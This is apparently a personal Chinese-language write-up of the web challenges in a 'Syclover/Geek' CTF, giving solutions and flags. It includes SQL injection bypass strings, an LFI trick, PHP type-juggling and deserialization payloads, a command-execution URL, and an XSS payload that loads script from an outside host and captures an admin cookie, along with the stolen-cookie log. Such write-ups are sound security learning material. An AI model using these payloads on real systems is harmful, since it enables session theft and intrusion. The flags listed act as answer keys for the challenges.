三叶草CTF WEB 题
1.tets
2、2000字的检讨
复制出来提交
flag:
SYC{evoA_Y0ur_JusT_3Scap3_Th3_Jav4scr1pt_l1m1T}
3、幸运大挑战
点了一下提交。发现提交的url
那么burp 改一下包
FLAG:SYC{evoA_U_are_V3ry_FanTaStic_2_G3t_l0!
4、代号为geek的行动第二幕:废弃的地下黑客论坛
发现是个注入
测试中发现单引号过滤了 闭合不了 (有长度限制)
那么自己搭建了一个环境
这样的一个方式可以绕过
用户名:admin\
密码: or 1 —
FLAG :SYC{h4ck-by-l0c4l6uy-233333333}
5.geek番外篇之废弃的地下黑客论坛
还是一个注入。但是长度限制了为4
应该和上面的思路差不多吧
本地测试一下
用户名-1\
密码:&&1#
密码: ||1#
FLAG: SYC{yun-we1-ya0-be1-gu0}
6、代号为geek的行动第三幕:暗网追击
就一张图片。啥玩意都没有。F12 点开看看
修改看看吧
7、一起来和php撸猫啊
这个就有点意思了。撸猫游戏
if (isset($_GET['p1'])){
if ($_GET['p1'] > 99999999 && strlen($_GET['p1']) < 9){
if (isset ( $_GET ['p2'] )) {
$p2 = $_GET ['p2'];
if (is_numeric($p2)){
die('Input cannot be a number!!!');
}
else{
switch ($p2) {
case 0 :
break;
case 1 :
break;
case 2 :
echo "flag{xxxxx}";
break;
default :
echo "2333333";
break;
}
}
}
}
}
就是要大于999999 并且小于9 位
那么用科学计数法啊 什么 1e9 之类的2e9 3e9
然后还有一个p2 不为数字 而且还要等于2 ,这不是为难胖虎么 用^ adad
flag:SYC{pHP_1s_th3_most_p0werfu11}
8、代号为geek的行动第四幕:绝密情报
<?php
error_reporting(0);
if (!empty($_GET)||!empty($_POST)){
if(preg_match("syclover",$_GET['id'])) {
echo("<p>you're a gay, not allowed !</p>");
exit();
}
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] == "syclover")
{
echo "<p>Wow~ ,You're smart, Access granted!</p>";
$f = $_POST[file];
$str = $f.".php";
@require $str;
}
else
{
@require('showpass.php');
}
}
else {
highlight_file("index.php");
}
?>
看看逻辑是啥
syclover 替换了ID 然后ID 进行了url 编码 必须要和 syclover 相等 然后传了一个file参数 然后拼接成一个php require 是导入这个php
如果ID 不相等就导入showpass.php
那么ID 那个 url编码 尝试一下吧 先看看返回值
进入到了这个逻辑里面去了
url编码一下 得到 %73%79%63%6c%6f%76%65%72
然后那个file 地方用php的那个base64 文件读取的那个方式
flag :SYC{LF1_S0_E@sy_I_L0ve_Sec}
9、江江师傅的秘密
点开看看吧==============
???????? 这是什么鬼?
欺骗我感情么。
10、番外*江江师傅的秘密
<?php
//error_reporting(E_ALL);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
dir('url fomat error');
return false;
}
$hostname=$url_parse['host'];
//var_dump($hostname);
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
//var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_POST['url'];
if(!empty($url)){
safe_request_url($url);
}
else{
highlight_file(__file__);
}
//hint23333:
//flag in flag.php
//phpinfo in phpinfo.php
?>
原文文章:http://chengable.net/index.php/archives/297/
参考文章2: https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
这个SSRF 怎么破? (这题目搞了两个小时。实在绕不过这个。)
心塞。可能是我太渣了。无法绕过这个。SSRF 。求大佬支个招(最后在红日安全的七月火师傅找到了答案)
具体的操作如下:https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
10、柠檬师傅日站的秘籍
找到这个url 是一个代码执行的
https://geek.l0ca1.xyz/sycshell/?cmd=cat%20geek/flag_is_here
FLAG :SYC{syCl0ver_sheL1}
11、百万前端跑路了
应该是一个xss
弄了一个爆破md5的 脚本
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author: liang
import random
import string
import hashlib
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
i = 0
while 1:
i +=19973
#print i
string = ''
s = string.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',5))
if md5(s)[0:6] == 'b2ce0e':
print s
break
“/><script src=http://xx.cm/Ez3eU9q></script>//
jl8xs
查看一下xss平台
location : http://127.0.0.1/admin.php?pass=c2hlZTMzcG1ha2Vib3Q= toplocation : http://127.0.0.1/admin.php?pass=c2hlZTMzcG1ha2Vib3Q= cookie : PHPSESSID=3n9ajuojrkc2eqiku6dg2vkr50; valuee=U1lDe04wd19ZMHVfa25vd19Ib3dfN29fWFNTX0Nvb2tpM30= opener : HTTP_REFERER : http://127.0.0.1/admin.php?pass=c2hlZTMzcG1ha2Vib3Q= HTTP_USER_AGENT : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/67.0.3396.99 Safari/537.36 REMOTE_ADDR : 222.18.158.196
FLAG: SYC{N0w_Y0u_know_How_7o_XSS_Cooki3}
12、隐藏在混乱之中的绝密情报
根据提示。应该是反序列
打开一看。师傅们都这么秀的么。 看看有啥备份文件。
http://extra-intelligence.game.sycsec.com/www.zip
打开看了一下源代码
<?php
class Daedalus{
function __construct($test)
{
getflag();
}
}
class Mang0{
var $message="hello_new_geek";
function __wakeup()
{
$newgay = new Daedalus($this->message);
}
}
$message = $_GET['message'];
@$unser_message = unserialize($message);
?>
写了一个反序列化的php
<?php
class Daedalus{
function __construct($test)
{
getflag();
}
}
class Mang0{
var $message="hello_new_geek";
function __wakeup()
{
$newgay = new Daedalus($this->message);
}
}
//$message = $_GET['message'];
$a=new Mang0();
@$unser_message = serialize($a);
var_dump(@$unser_message);
?>
[root@localhost ~]# php aa.php
string(52) "O:5:"Mang0":1:{s:7:"message";s:14:"hello_new_geek";}"
[root@localhost ~]#
提交呗
FLAG:SYC{P0p_cha1n_CAn_Cr055_th3_clAsS}
12、ratten师傅去哪了
注册
登陆之后,有一个地方可以越权
抓包看看
把uid改成1
然后登陆就可以拿到FLAG 了















































